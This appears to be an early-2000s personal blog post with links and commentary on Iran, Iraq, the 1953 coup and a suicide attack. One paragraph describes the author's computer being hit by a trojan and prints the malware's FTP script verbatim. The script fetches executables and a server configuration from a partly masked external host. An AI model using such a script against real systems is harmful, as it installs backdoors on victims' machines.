Hobo Traveler, an American traveler, is in Mosul, Iraq, and has an interesting picture from Arbil:

Nojavan links to pictures of people mourning for the 3rd imam. ;-)

Washington Post writes about the Iranian government giving $3 million to Islamic Jihad. Transparency in the budget would help prevent this kind of atrocity...

One of my correspondents asks for the 1,000,000th time on thorntree about being an American travelling alone to Iran :-)

Economist writes about "All the Shah's Men" a book about the 1953 coup in Iran:

In Iraq, it took coalition forces only a month to oust Saddam Hussein, despite being outnumbered almost two to one on difficult enemy terrain. In Iran, the same period elapsed between presidential approval and the coup. Admittedly MI6 had already laid the groundwork by establishing a network of operatives. But it is still astonishing how readily Roosevelt and his Iranian agents found mobs-for-hire, happy to riot for pay with no questions asked. Mix mobs with a sustained press campaign and corrupt military officers, and voilà: regime change. The really cautionary tale of Mr Kinzer's book is how easy it would be for any democracy erected by America and Britain in the Middle East to fall again.

I promise to take more photos!

My win2k computer didn't get msblast (just my officemate's win xp computer), but it got hacked with a trojan I hadn't seen before, using the same method, probably.
In \winnt\system32 I found "firedaemon.exe" and "winlog.exe" and a file called "a" with this code:

open 213.93.xx.x 4101
user get get
get winlog.exe
get servudaemon.ini
get firedaemon.exe
get cygwin1.dll
get win.bat
bye

So, when people say Kiddie Porn: the virus did it I have some reason to believe it. My computer runs a lot faster now and there's more free space on the disk, though I haven't discovered if the hackers put anything onto it. Googling for "winlog firedaemon" turns up nothing relevant, although firedaemon is a good hacker's tool for running things in the background.

A lecturer from Sharif came to give his talk at the conference. The administrator turned on the computer, but as soon as he loaded his talk the message "shutdown in 30 seconds" occurred in Windows XP. This worm is really a pain for some people who didn't patch their Microsoft systems.

"I heard about my son on Al-Manar TV. Nobody can be happy when he loses his son. I feel that I lost a part of myself. I didn't expect that my son could perpetrate an attack like this," said the sobbing father.

A very big problem with having a very young society like Palestine's (47% of refugees under 20!) is the lack of discipline in the society - the young make the rules and are very impressionable. One person can easily wreck the lives of many others... for example if your dad hears on TV that you blew yourself up.